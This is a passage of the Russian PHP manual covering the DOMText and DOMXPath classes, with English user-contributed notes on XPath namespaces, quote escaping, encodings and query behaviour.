  if ( $domNode->hasChildNodes() ) {
    $children = array();
    // since looping through a DOM being modified is a bad idea we prepare an array:
    foreach ( $domNode->childNodes as $child ) {
      $children[] = $child;
    }
    foreach ( $children as $child ) {
      if ( $child->nodeType === XML_TEXT_NODE ) {
        $oldText = $child->wholeText;
        if ( $isRegEx ) {
          $newText = preg_replace( $search, $replace, $oldText );
        } else {
          $newText = str_replace( $search, $replace, $oldText );
        }
        $newTextNode = $domNode->ownerDocument->createTextNode( $newText );
        $domNode->replaceChild( $newTextNode, $child );
      } else {
        domTextReplace( $search, $replace, $child, $isRegEx );
      }
    }
  }
}


Создаёт объект класса DOMText

  • « DOMText
  • DOMText::isElementContentWhitespace »
  • PHP Manual
  • DOMText
  • Создаёт объект класса DOMText

DOMText::__construct

(PHP 5, PHP 7, PHP 8)

DOMText::__construct — Создаёт объект класса DOMText

Описание

public DOMText::__construct(string $data = "")

Создаёт новый экземпляр класса DOMText.

Список параметров

data

Значение текстового узла. Если значение не передано, будет создан пустой текстовый узел.

Примеры

Пример #1 Создание нового узла DOMText

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$text = $element->appendChild(new DOMText('root value'));
echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?><root>root value</root> */

?>

Смотрите также

  • DOMDocument::createTextNode() - Создать новый текстовый узел

User Contributed Notes

Thomas 27-Apr-2012 01:54
I experinced that DOMText, given a integer as only value to the constructor failed to return valid data. I had to typecast the input to a string first:

$intValue = 3252; // Post/Zip-code
$some_element->appendChild( new DOMText( (string) $intValue) );

When not typecasting using "(string)" the XML output from $root->saveXML() would not validate.


Возвращает, содержит ли текстовый узел пробел в содержимом элемента

  • « DOMText::__construct
  • DOMText::isWhitespaceInElementContent »
  • PHP Manual
  • DOMText
  • Возвращает, содержит ли текстовый узел пробел в содержимом элемента

DOMText::isElementContentWhitespace

(Информация о версии неизвестна, возможно, только в Git)

DOMText::isElementContentWhitespace — Возвращает, содержит ли текстовый узел пробел в содержимом элемента

Описание

public DOMText::isElementContentWhitespace(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

riking 28-Jun-2018 12:17
This is the recommended (W3C) function name for the equivalent:
http://php.net/manual/en/domtext.iswhitespaceinelementcontent.php

See there for additional notes.


Определяет, содержит ли текстовый узел пробелы в содержимом

  • « DOMText::isElementContentWhitespace
  • DOMText::splitText »
  • PHP Manual
  • DOMText
  • Определяет, содержит ли текстовый узел пробелы в содержимом

DOMText::isWhitespaceInElementContent

(PHP 5, PHP 7, PHP 8)

DOMText::isWhitespaceInElementContent — Определяет, содержит ли текстовый узел пробелы в содержимом

Описание

public DOMText::isWhitespaceInElementContent(): bool

Определяет, есть ли пробелы в содержимом текстового узла или он пустой. Текстовые узлы могут содержать пробелы в своём содержимом во время загрузки документа.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если узел состоит только из нуля или более пробелов. Возвращает false в противном случае.

User Contributed Notes

JITR 07-Jul-2007 03:36
To add to `permidion at yahoo dot com''s comment:

Quite true. According to DOM Level 3 Core, the `isWhitespaceInElementContent()' method indicates, whether the node contains `whitespace in element content' (or `element content whitespace' according to the newer spec), see [1].

Btw, it seems the `isWhitespaceInElementContent()' method was replaced with the `isElementContentWhitespace' attribute in the current W3C recommendation, see [2].

I have the feeling, though, it would be more precise with the word `only' added, like: `... indicates, whether the node contains *only* element content whitespace.' This would better correspond with the fact the result is false, when there are any non-whitespace characters present (in addition to the whitespace ones), as already noted.

[1] (please concatenate the following two lines)
http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html
#core-Text3-isWhitespaceInElementContent
[2] (please concatenate the following two lines)
http://www.w3.org/TR/DOM-Level-3-Core/core.html
#Text3-isElementContentWhitespace
permidion at yahoo dot com 28-Oct-2004 08:30
if you have an xml element such as <name>Foo Bar</name> (note the space), isWhitespaceInElementContent will return false.
However it will return true for <name><name> or <name/>
so, that function can be used to determine if the element has a text content or not


Разделяет узел на два, начиная с заданной позиции

  • « DOMText::isWhitespaceInElementContent
  • DOMXPath »
  • PHP Manual
  • DOMText
  • Разделяет узел на два, начиная с заданной позиции

DOMText::splitText

(PHP 5, PHP 7, PHP 8)

DOMText::splitText — Разделяет узел на два, начиная с заданной позиции

Описание

public DOMText::splitText(int $offset): DOMText|false

Разделяет узел на два, вторая часть начинается с позиции offset, полученные узлы становятся братьями.

После разделения исходный узел будет содержать данные до позиции offset. Если исходный узел имеет родителя, то второй, созданный, узел станет следующим братом исходного узла. Если offset равно длине содержимого узла, новый узел всё равно будет создан, но не будет содержать данных.

Список параметров

offset

Позиция, с которой узел будет разделён, начиная с 0.

Возвращаемые значения

Новый узел того же типа, содержащий данные до и после offset.

User Contributed Notes

Flix Cloutier 28-Oct-2013 05:31
It should be noted that $offset is a **character offset**, not a **byte offset**. This means that most other PHP string functions that deal with lengths and offsets (strlen, strpos, preg_match with PREG_OFFSET_CAPTURE, etc.) use and return values unsuitable for this method if used with multibyte strings (like UTF-8 strings).

Byte offsets can be converted to character offsets with mb_strlen:

<?php
function char_offset($string, $byte_offset, $encoding = null)
{
    $substr = substr($string, 0, $byte_offset);
    return mb_strlen($substr, $encoding ?: mb_internal_encoding());
}
?>


Класс DOMXPath

(PHP 5, PHP 7, PHP 8)

Введение

Поддерживает XPath 1.0

Обзор классов

class DOMXPath {
/* Свойства */
public readonly DOMDocument $document;
public bool $registerNodeNamespaces;
/* Методы */
public __construct(DOMDocument $document, bool $registerNodeNS = true)
public evaluate(string $expression, ?DOMNode $contextNode = null, bool $registerNodeNS = true): mixed
public query(string $expression, ?DOMNode $contextNode = null, bool $registerNodeNS = true): mixed
public registerNamespace(string $prefix, string $namespace): bool
public registerPhpFunctions(string|array|null $restrict = null): void
}

Свойства

document

registerNodeNamespaces

Если установлено значение true, пространства имён регистрируются в узле.

Список изменений

Версия | Описание
8.0.0 | Добавлено свойство registerNodeNamespaces.

Содержание

  • DOMXPath::__construct — Создаёт новый объект класса DOMXPath
  • DOMXPath::evaluate — Вычисляет переданное выражение XPath и возвращает типизированный результат, если возможно
  • DOMXPath::query — Выполняет заданное выражение XPath
  • DOMXPath::registerNamespace — Регистрирует пространство имён с объектом DOMXPath
  • DOMXPath::registerPhpFunctions — Регистрация PHP-функций как функций XPath

User Contributed Notes

TechNyquist 08-Jan-2020 09:16
When working with XML (as a strict format) might be very important to give a namespace to XPath object in order to make it work properly.

I was experiencing "query" always returning empty node lists, it could not find anything. Only a broad "//*" was able to show off only the root element.

Then found out that registering the namespace reported in the "xmlns" attribute of the root element in the XPath object, and writing the namespace near the elements name, made it work properly.

So for an XML like this (from a sitemap):

<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
    <url>
        <loc>http://example.com/index.php</loc>
        <lastmod>2005-01-01</lastmod>
        <changefreq>monthly</changefreq>
        <priority>0.5</priority>
    </url>
</urlset>

I needed the following XPath configuration:

<?php

    $doc = new DOMDocument;
    $doc->load("sitemap.xml");
    $xpath = new DOMXPath($doc);
    $xpath->registerNamespace('ns', 'http://www.sitemaps.org/schemas/sitemap/0.9');
    $nodes = $xpath->query('//ns:urlset/ns:url');

?>

Then again, that "xmlns" could be provided dynamically from the root element attribute of course.
peter at softcoded dot com 03-May-2017 05:51
You may not always know at runtime whether your file has
a namespace or not. This can make it difficult to create
XPath queries. Use the seriously underdocumented
"namespaceURI" property of the documentElement of a
DOMDocument to determine if there is a namespace.
Use code such as the following:

$doc = new DOMDocument();
$doc->load($file);
$xpath = new DOMXPath($doc);
$ns = $doc->documentElement->namespaceURI;
if($ns) {
  $xpath->registerNamespace("ns", $ns);
  $nodes = $xpath->query("//ns:em[@class='glossterm']");
} else {
  $nodes = $xpath->query("//em[@class='glossterm']");
}
//look at nodes here
peter at softcoded dot com 03-May-2017 04:46
Using XPath expressions can save a lot of programming
and allow you to home in on only the nodes you want.
Suppose you want to delete all empty <p> tags.
If you create a query using the following XPath expression,
you can find <p> tags that do not have any text
(other than spaces), any attributes,
any children or comments:

$expression = "//p[not(@*)
   and not(*)
   and not(./comment())
   and normalize-space(text())='']";

This expression will only find para tags that look like:

<p>[any number of spaces]</p>
<p></p>

Imagine the code you would have to add if you used
DOMDocument::getElementsByTagName("p") instead.
archimedix32783262 at mailinator dot com 03-Sep-2014 12:03
Note that evaluate() will use the same encoding as the XML document.

So if you have a UTF-16 XML, you will have to query using UTF-16 strings.

You can use iconv() to convert from your code's encoding to the target encoding for better legibility.
dhz 05-Jan-2011 10:47
I just spent far too much time chasing this one....

When running an xpath query on a table be careful about table internal nodes (ie: <tr></tr>, and <td></td>).  If the master <table> tag is missing, then query() (and likely evaluate() also) will return unexpected results.

I had a DOMNode with a structure like this:

<td>
    <table></table>
    <table>
        <tr>
            <td></td>
        </tr>
        <tr>
            <td></td>
            <td></td>
        </tr>
    </table>
</td>

Upon which I was trying to do a relative query (ie: <?php $xpath_obj->query('my/x/path', $relative_node); ?>).

But because of the lone outer <td></td> tags, the inner tags were being invalidated, while the nodes were still recognized.  Meaning that the following query would work:

<?php $xpath_obj->query('*[2]/*[*[2]]', $relative_node); ?>

But when replacing any of the "*" tokens with the corresponding (and valid) "table", "tr", or "td" tokens the query would inexplicably break.
Mark Omohundro, ajamyajax dot com 14-Dec-2008 09:15
<?php
// to retrieve selected html data, try these DomXPath examples:

$file = $DOCUMENT_ROOT. "test.html";
$doc = new DOMDocument();
$doc->loadHTMLFile($file);

$xpath = new DOMXpath($doc);

// example 1: for everything with an id
//$elements = $xpath->query("//*[@id]");

// example 2: for node data in a selected id
//$elements = $xpath->query("/html/body/div[@id='yourTagIdHere']");

// example 3: same as above with wildcard
$elements = $xpath->query("*/div[@id='yourTagIdHere']");

if (!is_null($elements)) {
  foreach ($elements as $element) {
    echo "<br/>[". $element->nodeName. "]";

    $nodes = $element->childNodes;
    foreach ($nodes as $node) {
      echo $node->nodeValue. "\n";
    }
  }
}
?>


Создаёт новый объект класса DOMXPath

  • « DOMXPath
  • DOMXPath::evaluate »
  • PHP Manual
  • DOMXPath
  • Создаёт новый объект класса DOMXPath

DOMXPath::__construct

(PHP 5, PHP 7, PHP 8)

DOMXPath::__construct — Создаёт новый объект класса DOMXPath

Описание

public DOMXPath::__construct(DOMDocument $document, bool $registerNodeNS = true)

Создаёт новый объект класса DOMXPath.

Список параметров

document

Объект класса DOMDocument, связанный с DOMXPath.

registerNodeNS

Нужно ли автоматически регистрировать префиксы пространства имён в области видимости контекстного узла для объекта DOMXPath. Параметр помогает избегать ручного вызова метода DOMXPath::registerNamespace() для каждого пространства имён в области видимости. Когда префиксы пространства имён конфликтуют, регистрируется только префикс пространства имён близлежащего потомка.

User Contributed Notes

thsoft at vipmail dot hu 04-Jul-2007 04:57
As of PHP 5.2.0, DOMXPath object implements XPath 1.0.
Saulo Vallory 26-Jun-2007 03:23
The DOMXPath object doesn't create a reference to the document. If you load a new xml using either load, loadXML or loadHTML functions the DOMXPath object will still query and evaluate over the source in the DOMDocument when it was created.


Вычисляет переданное выражение XPath и возвращает типизированный результат, если возможно

  • « DOMXPath::__construct
  • DOMXPath::query »
  • PHP Manual
  • DOMXPath
  • Вычисляет переданное выражение XPath и возвращает типизированный результат, если возможно

DOMXPath::evaluate

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

DOMXPath::evaluate — Вычисляет переданное выражение XPath и возвращает типизированный результат, если возможно

Описание

public DOMXPath::evaluate(string $expression, ?DOMNode $contextNode = null, bool $registerNodeNS = true): mixed

Выполняет переданное выражение XPath expression и возвращает типизированный результат, если это возможно.

Список параметров

expression

Выражение XPath для выполнения.

contextNode

Дополнительный параметр contextNode может быть указан для выполнения относительных запросов XPath. По умолчанию запросы выполняются относительно корневого элемента.

registerNodeNS

Нужно ли автоматически регистрировать префиксы пространства имён в области видимости контекстного узла для объекта DOMXPath. Параметр помогает избегать ручного вызова метода DOMXPath::registerNamespace() для каждого пространства имён в области видимости. Когда префиксы пространства имён конфликтуют, регистрируется только префикс пространства имён близлежащего потомка.

Возвращаемые значения

Возвращает типизированный результат, если это возможно, либо объект DOMNodeList, содержащий все узлы, соответствующие заданному XPath-выражению expression.

Если expression построено неправильно или contextNode имеет неверное значение, DOMXPath::evaluate() вернёт false.

Примеры

Пример #1 Получение количества всех английских книг

<?php

$doc = new DOMDocument;

$doc->load('book.xml');

$xpath = new DOMXPath($doc);

$tbody = $doc->getElementsByTagName('tbody')->item(0);

// запрос относительно узла tbody
$query = 'count(row/entry[. = "en"])';

$entries = $xpath->evaluate($query, $tbody);
echo "Есть $entries английские книги\n";

?>

Результат выполнения приведённого примера:

Есть 2 английские книги

Смотрите также

  • DOMXPath::query() - Выполняет заданное выражение XPath

User Contributed Notes

danny at webdevelopers dot eu 28-Jan-2020 11:36
The only way how to distinguish FALSE returned value from syntax error FALSE is to re-run the XPath expression wrapped in string() function. If must return empty string. If it returns FALSE again then it is an error.

<?php

        $ret=$this->xp->evaluate($eval, $context);

        // Error detection: DOMXPath::evaluate() returns FALSE on error
        // so does DOMXPath::evaluate("boolean(/nothing)")
        // @workaround webdevelopers.eu
        if ($ret === false && $this->xp->evaluate("string($eval)", $context) === false) {
            throw new Exception("Invalid XPath expression ".json_encode($eval), 3491);
        }
?>
aazaharov81 at gmail dot com 14-Jan-2015 12:48
To query DOMNodes by their HTML classes, use such snippet
<?php

// CssClassXPathSelector
function ccxs($class) {
    return '[contains(concat(" ", normalize-space(@class), " "), " ' . $class . ' ")]';
}

 // then just
 $domitems = $this->xpath("//*[@id='searchResultsRows']//a" . ccxs('listing_row'));
?>
daniel at danielnorton dot com 25-Jun-2011 09:56
Note that this method does not provide any means to distinguish between a successful result that returns FALSE and an error.

For example, this will succeed and return FALSE:

<?php $xpath->evaluate("1 = 0"); ?>

One workaround when you know you are expecting a Boolean is to wrap the result with string(). e.g.

<?php $xpath->evaluate("string(1 = 0)"); ?>

This will return a string "false" on success, or the Boolean FALSE on error.
Damien Bezborodov 28-Mar-2011 06:13
If your expression returns a node set, you will get a DOMNodeList instead of a typed result. Instead, try modifying your expression from "//node[1]" to "string(//node[1])".
yuriucsal at NOSPAM dot yahoo dot com dot br 06-Mar-2005 12:55
this class can substitute the method evaluate while it is not validated. Made for Yuri Bastos and Jo?o Gilberto Magalh?es.

<?php

    class XPtahQuery
    {
        // function returns a DOMNodeList from a relative xPath
        public static function selectNodes($pNode, $xPath)
        {

            $pos = strpos(self::getFullXpath($pNode),"/",1);
            $xPathQuery = substr(self::getFullXpath($pNode),$pos);//to paste  /#document[1]/
            $xPathQueryFull = $xPathQuery. $xPath;
            $domXPath = new DOMXPath($pNode->ownerDocument);
            $rNodeList = $domXPath->query($xPathQueryFull);

                return $rNodeList;
        }
        // function returns a DOMNode from a xPath from other DOMNode
        public static function selectSingleNode($pNode, $xPath)
        {

            $pos = strpos(self::getFullXpath($pNode),"/",1);
            $xPathQuery = substr(self::getFullXpath($pNode),$pos);//to paste  /#document[1]/
            $xPathQueryFull = $xPathQuery. $xPath;
            $domXPath = new DOMXPath($pNode->ownerDocument);
            $rNode = $domXPath->query($xPathQueryFull)->item(0);

                return $rNode;
        }
        //utilitaries functions off selectSingleNode
        private function getNodePos($pNode, $nodeName)
        {
            if($pNode == null)
                {
                        return 0;
            }
            else
            {
                $var = 0;
                    if ($pNode->previousSibling != null)
                    {
                    if ($pNode->previousSibling->nodeName == $nodeName)
                    {
                        $var = 1;
                    }
                    }
                    return self::getNodePos($pNode->previousSibling, $nodeName) + $var;
            }
        }
        //utilitaries functions off selectSingleNode
        private function getFullXpath($pNode)
        {
            if($pNode == null)
                {
                        return "";
            }
            else
            {

                return self::getFullXpath($pNode->parentNode) . "/" . $pNode->nodeName . "[" .strval(self::getNodePos($pNode, $pNode->nodeName)+1) . "]";//+1 to get the real xPath index

            }
        }
    }
?>


Выполняет заданное выражение XPath

  • « DOMXPath::evaluate
  • DOMXPath::registerNamespace »
  • PHP Manual
  • DOMXPath
  • Выполняет заданное выражение XPath

DOMXPath::query

(PHP 5, PHP 7, PHP 8)

DOMXPath::query — Выполняет заданное выражение XPath

Описание

public DOMXPath::query(string $expression, ?DOMNode $contextNode = null, bool $registerNodeNS = true): mixed

Выполняет заданное XPath-выражение expression.

Список параметров

expression

Выражение XPath для выполнения.

contextNode

Дополнительный параметр contextNode может быть указан для выполнения относительных запросов XPath. По умолчанию запросы выполняются относительно корневого элемента.

registerNodeNS

Нужно ли автоматически регистрировать префиксы пространства имён в области видимости контекстного узла для объекта DOMXPath. Параметр помогает избегать ручного вызова метода DOMXPath::registerNamespace() для каждого пространства имён в области видимости. Когда префиксы пространства имён конфликтуют, регистрируется только префикс пространства имён близлежащего потомка.

Возвращаемые значения

Возвращает объект DOMNodeList, содержащий узлы, соответствующие выражению XPath expression. Любое выражение, не возвращающее узлы, вернёт пустой объект DOMNodeList.

Если expression построено неправильно или contextNode имеет неверное значение, DOMXPath::query() вернёт false.

Примеры

Пример #1 Получение списка всех книг на английском

<?php

$doc = new DOMDocument;

// Не хотим возиться с пробелами
$doc->preserveWhiteSpace = false;

$doc->load('book.xml');

$xpath = new DOMXPath($doc);

// Начинаем с корневого элемента
$query = '//book/chapter/para/informaltable/tgroup/tbody/row/entry[. = "en"]';

$entries = $xpath->query($query);

foreach ($entries as $entry) {
echo "Найдена книга {$entry->previousSibling->previousSibling->nodeValue}," .
" автор {$entry->previousSibling->nodeValue}\n";
}
?>

Результат выполнения приведённого примера:

Найдена книга The Grapes of Wrath, автор John Steinbeck
Найдена книга The Pearl, автор John Steinbeck

Можно также использовать параметр contextNode для более короткой записи выражения:

<?php

$doc = new DOMDocument;
$doc->preserveWhiteSpace = false;

$doc->load('book.xml');

$xpath = new DOMXPath($doc);

$tbody = $doc->getElementsByTagName('tbody')->item(0);

// запрос относительно узла tbody
$query = 'row/entry[. = "en"]';

$entries = $xpath->query($query, $tbody);

foreach ($entries as $entry) {
echo "Найдена книга {$entry->previousSibling->previousSibling->nodeValue}," .
" автор {$entry->previousSibling->nodeValue}\n";
}
?>

Смотрите также

  • DOMXPath::evaluate() - Вычисляет переданное выражение XPath и возвращает типизированный результат, если возможно

User Contributed Notes

chris dot russo99 at gmail dot com 17-Aug-2016 03:58
If you can't find a solution for PHP XPATH case sensitivity, you can always try this approach:

http://fsockopen.com/php-programming/your-final-stop-for-php-xpath-case-insensitive

Instead of inserting PHP functions into a XPATH object, convert the XPATH object into an Array(), and then use any PHP function, the regular way.
ikmahesh at cdac dot in 08-Jul-2015 09:29
The parameters for $xPath->query() method is case sensitive.
It matches IDs exact words.
RiKdnUa at mail dot ru 17-Sep-2013 04:26
Пример XPath запроса к XML документу. XML документ содержить элементы с именами из НЕлатинских символов (кириллица). При использовании в XPath запросе предиката, функция DOMXPath::query() выдает предупреждение и запрос не работает. Чтобы запрос работал, надо явно указывать ось. Файл этого примера должен быть в кодировке WINDOWS-1251. Тестировал в PHP 5.2.9-2 и PHP 5.2.17

Example XPath-query to the XML-document. XML-document contains an elements with the names of non-Latin characters (cyrillic). When used predicate in XPath-query, function DOMXPath::query() gives a warning and query does not work. In order to earned the query, it is necessary to explicitly specify the axis. The file of this example is to be in the encoding WINDOWS-1251. Tested in PHP 5.2.9-2 and PHP 5.2.17
<?php
ini_set("display_errors","on");
error_reporting(-1);
function utf8encode($str){return iconv('WINDOWS-1251', 'UTF-8', $str);}
$xml="<?xml version='1.0' encoding='WINDOWS-1251'?>
<часть>
<ссылка href='yandex.com'>Яндекс</ссылка>
<ссылка href='rik.dn.ua/fotopan.php'>г.Донецк</ссылка>
</часть>
";
$document=new domDocument();
$document->preserveWhiteSpace=false;
$document->loadXML($xml);
$domxpath=new domXpath($document);
$list=$domxpath->query(utf8encode('/child::часть/child::ссылка'));//Ok
echo '$list->length='.$list->length."\n<br/>\n";
$list=$domxpath->query(utf8encode('/часть/ссылка'));//Ok
echo '$list->length='.$list->length."\n<br/>\n";
$list=$domxpath->query(utf8encode('/child::часть/child::ссылка[position()=1]'));//Ok
echo '$list->length='.$list->length."\n<br/>\n";
$list=$domxpath->query(utf8encode('/часть/ссылка[1]'));//Warning: DOMXPath::query() [domxpath.query]: Invalid expression in ...
echo '$list->length='.$list->length."\n<br/>\n";
$list=$domxpath->query(utf8encode('/часть/ссылка[position()=1]'));//Warning: DOMXPath::query() [domxpath.query]: Invalid expression in ...
echo '$list->length='.$list->length."\n<br/>\n";
?>
info at syncgw dot com 22-Sep-2011 09:05
A warning to all PHP programmer using this function PHP 5.0.0.0: We needed an equivalent to upper-case() function (is not available in XPath 1.0).

XML-Document:

<Rec>
<SourceRef>./c:calendar2</SourceRef>
<SourceRef>./c:calendar</SourceRef>
</Rec>

using

query('//DataStore[translate(SourceRef,"abcdefghijklmnopqrstuvwxyz","ABCDEFGHIJKLMNOPQRSTUVWXYZ")="./C:CALENDAR"]/.')

returns ZERO matches.

If you change XML-Source to

<Rec>
<SourceRef>./c:calendar</SourceRef>
<SourceRef>./c:calendar2</SourceRef>
</Rec>

everything works fine
yuriscom at gmail dot com 07-Sep-2011 10:29
I hope it will be helpful for someone:

I spent some time to solve the problem when you query a string with quotes inside.

Suppose you have:
$parameter = "aaa \"bbb\"";
$domxpath->query("//path[text()=\"".$parameter."\""];

In versions > 5.3.0 there is registerPhpFunctions where you can put an addslashes. But in older version you cannot do it in simple way.

So the solution is to use a concat function. So when you have a substring with " inside, wrap it with '. And when you have a substring with ', then wrap with in ".

The code is:

<?php
$dom = new DOMDocument;
$dom->loadXML("<name>'bla' \"bla\" bla</name>");
$xpath = new DOMXPath($dom);
$nodeList = $xpath->query("//name[text()=concat(\"'bla' \" ,'\"bla\"' ,\" bla\")]");
?>

Below is the function that receives a string and returns a concat pattern for the xpath query.

<?php
    function getPattern_MQ($pattern) {
        // initiating an array of substrings
        $ar = array();
        // points to the current position in a string
        $offset = 0;
        $strlen = strlen($pattern);
        while (true) {
            // find a position of quotes
            $qPos = strpos($pattern, "\"", $offset);

            if (!$qPos) {
                // no more quotes
                $leftOver = $offset - $strlen;
                if ($leftOver < 0) {
                    $string = substr($pattern, $leftOver);
                    $ar[] = "\"" . $string . "\"";
                }
                break;
            }
            // add the whole substring before the quotes into the array
            $ar[] = "\"" . substr($pattern, $offset, ($qPos - $offset)) . "\"";
            // add the quotes wrapped with single quot
            $ar[] = "'" . substr($pattern, $qPos, 1) . "'";
            $offset = $qPos + 1;
        }
        // join the array to get: concat("aaa",'"',"bbb",'"');
        $pattern = "concat(''," . join(",", $dynamicPatternsAr) . ")";
        return $pattern;
    }
?>
chris AT cmbuckley DOT co DOT uk 14-Apr-2011 07:31
To help with the problem where the default namespace is not registered with the DOMXPath object, you can use the following replacement to update your paths accordingly:

<?php

$xml = <<<EOS
<root xmlns="urn:test">
    <foo>bar</foo>
</root>
EOS;

$expression = '//foo';
$prefix = 'fakeprefix';

$doc = new DOMDocument();
$doc->loadXML($xml);

$context = $doc->documentElement; // or whichever element you choose
$xpath = new DOMXPath($doc);

// register namespace as below, and apply a regex to the expression
if (null !== $context->namespaceURI) {
    $xpath->registerNamespace($prefix, $context->namespaceURI);
    $expression = preg_replace('#(::|/\s*|\A)(?![/@].+?|[a-z\-]+::)#', '$1' . $prefix . ':$2', $expression);
    var_dump($expression); // string(16) "//fakeprefix:foo"
}

$foo = $xpath->query($expression, $context)->item(0);
var_dump($doc->saveXML($foo)); // string(14) "<foo>bar</foo>"

?>
kkez at example dot com 03-Sep-2010 07:51
If the query() function seems to ignore your $contextnode, and instead returns all the tags in the document, try to use a relative path (use a . in front of the query):

<?php
    $xml = "<?xml version='1.0' encoding='UTF-8'?>
        <test>
            <tag1>
                <uselesstag>
                    <tag2>test</tag2>
                </uselesstag>
            </tag1>
            <tag2>test2</tag2>
        </test>";

    $dom = new DomDocument();
    $dom->loadXML($xml);
    $xpath = new DomXPath($dom);

    $tag1 = $dom->getElementsByTagName("tag1")->item(0);

    echo $xpath->query("//tag2")->length; //output 2 -> correct
    echo $xpath->query("//tag2", $tag1)->length; //output 2 -> wrong, the query is not relative
    echo $xpath->query(".//tag2", $tag1)->length; //output 1 -> correct (note the dot in front of //)
?>

See that i couldn't use $xpath->query("tag2", $tag1) as per the documentation, since "tag2" is not a direct child of "tag1".
I don't know why this note was deleted, i just tested it and it's correct.
It's not a bug, it's simply not written in the documentation.
Anonymous 27-Nov-2009 12:26
I found this useful for building page templates

<?php
$xsl = new DOMDocument;
$xsl->load('layout.xsl');

// Set the <xsl:include> href attribute, the inner stylesheet to include in this layout
$xpath = new DomXPath($xsl);
$res = $xpath->query('//xsl:include');
$res->item(0)->setAttribute('href','page.xsl');
$xsl->save('media/xsl/layout.xsl');
?>
Niklas 27-Aug-2008 02:36
For XPath escaping use the following method (of course it could be more efficient).
<?php
public function xpathescape($string)
{
$result = 'concat(';

for($i=0, $j=strlen($string); $i<$j; ++$i)
{
if($i > 0)
$result .= ",";

if($string[$i] == '\'')
$result .= "\"".$string[$i]."\"";
else
$result .= '\''.$string[$i].'\'';
}

$result .= ')';

return $result;
}
?>

Use it this way:
<php
$xpath->query('//example[sub='.xpathescape($acomplexstring).']');

?>
adam dot prall at thinkingman dot com 19-Jul-2008 09:01
If you're wondering, like I was, why your XPath queries are not returning any of the new DOMElements you create in your (X)HTML documents, and only the ones originally loaded in with (for example) loadXML(), this is why; if you're doing things right, you have registered the nameSpace 'html' after creating your DOMXPath object thus:

<?php

class XPathQueryLength {
     private $nameSpace = '';
     function __construct(DOMDocument $doc) {
          $this->xpath = new DOMXPath($this->doc);
          $this->xpath->registerNamespace(
                 'html','http://www.w3.org/1999/xhtml' );
     }
     function queryLength($query) {
          return $this->xpath->query($query)->length;
     }
}

?>

...but don't forget that when adding new elements to the above DOMDocument $doc, to use createElementNS() instead of createElement(), otherwise you'll have this problem:

<?php

//$doc is a previously loaded XHTML document containing a normal html, head and body structure
//$body is the first selected tag using $doc->getElementsByTagName('body');

$pTag = $doc->createElement('p','This is a new paragraph!');
$body->appendChild($pTag);

$xPath = new XPathQueryLength($doc);
print $xPath->queryLength('//html:p');

output: 0

print $xPath->queryLength('//p');

output: 1

?>

So do this instead:

<?php

//$doc is a previously loaded XHTML document containing a normal html, head and body structure
//$body is the first selected tag using $doc->getElementsByTagName('body');

$pTag = $doc->createElementNS('http://www.w3.org/1999/xhtml','p','This is a new paragraph!');
$body->appendChild($pTag);

$xPath = new XPathQueryLength($doc);
print $xPath->queryLength('//html:p');

output: 2

print $xPath->queryLength('//p');

output: 0

?>

The resulting XHTML file from both example scripts looks much like this:

<html>
  <head></head>
  <body>
     <p>This is a hardcoded paragraph.</p>
     <p>This is a new paragraph!</p>
  </body>
</html>

...so you would think that a paragraph is a paragraph is a paragraph, since you never see the prefix, as in "<html:p>This is a new paragraph!</html:p>".

This may seem glaringly obvious, but I was writing a class that converts CSS queries into XPath queries, and the fact that a namespace had been registered was rather buried in the code.

We love the DOM, the DOM is good to us.
Nibinaear 03-Mar-2008 06:15
I've searched the entire web looking for a way to update / modify/ change/ alter the elements of an xml file and found NOTHING!

So here it is, the defninitive way to "Change XML elements with PHP" rather than adding / appending new ones. This uses XPATH:

<?php

// Create a DOMDocument instance
$xml = new DOMDocument;

// Ignore whitespace between nodes (default: true)
$xml->preserveWhiteSpace = false;

$file='about.xml';

// Load the XML data source
$xml->Load($file);

$xpath = new DOMXPath($xml);

$query='/regions/branch';

$entries = $xpath->query($query);

foreach ($entries as $entry)
{
  $entry->firstChild->nodeValue="like this!";
  echo $entry->firstChild->nodeValue;
}

$xml->save($file);

?>
ondrej dot fischer at 4internet dot cz 25-Oct-2007 06:46
Unfortunately PHP's DOM extension doesn't support use of:
<?xml-stylesheet type="text/xsl" ... ?>
processing instruction.
Here is an example, how to implement it using XPath query and extending DOMDocument by a method output().

<?php

// This simple function adds missing direct usage of anonymous instances
// in PHP5's reference model
function a($var) {
   return $var;
}

// Extended DOMDocument class
class MyDOMDocument extends DOMDocument
{

   public function output()
   {
      $stylesheets = array();
      $PIs = a(new DOMXPath($this))
                  ->query('/processing-instruction("xml-stylesheet")');

      foreach($PIs as $PI)
      {
         // This might be implemented cleaner by regular parsing
         // of DOMProcessingInstruction::data property
         if(ereg('type *= *"text/xsl" +href *= *"([^"]+)"', $PI->data, $mem))
         {
            // Here should be verified, that XSL file exists.
            a($stylesheets[] = new DOMDocument())->load($mem[1]);
         }
      }

      if($stylesheets)
      {
         $processor = new XSLTProcessor();
         foreach($stylesheets as $stylesheet)
            $processor->importStylesheet($stylesheet);
         return $processor->transformToDoc($this);
      }
      // If no stylesheet instructions present, return self directly
      else return $this;

   }
}

?>

Usage:

<?php

$document = new MyDOMDocument();
$document->load('my.xml');
echo $document->output()->saveXML();

?>

With following file my.xml:

<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="my.xsl" ?>
<my-root />

and existing file my.xsl that code will transform the xml file using my.xsl and output the result.
jbarnett at flowershopnetwork dot com 11-Sep-2007 01:46
The order of nodes in the return value is not guaranteed.

When my code was on an old server, the returned DOMNodeList was in document order.  On the new server, the returned DOMNodeList is in a consistent order, but it is not in document order.

PHP passes this function call off to the xmlXPathEvalExpression() function in libxml.  That function in libxml only accepts two arguments - the same two this PHP function accepts.  There must have been a change in the libxml version from the old server to the new server, and that libxml behaves differently.

This would be okay if PHP had a way to compare nodes so I can resort the nodes manually, but there is not.

So, there is no guaranteed way to get an ordered list of nodes like DOM 3 XPath provides.
Hayley Watson 12-Aug-2007 05:43
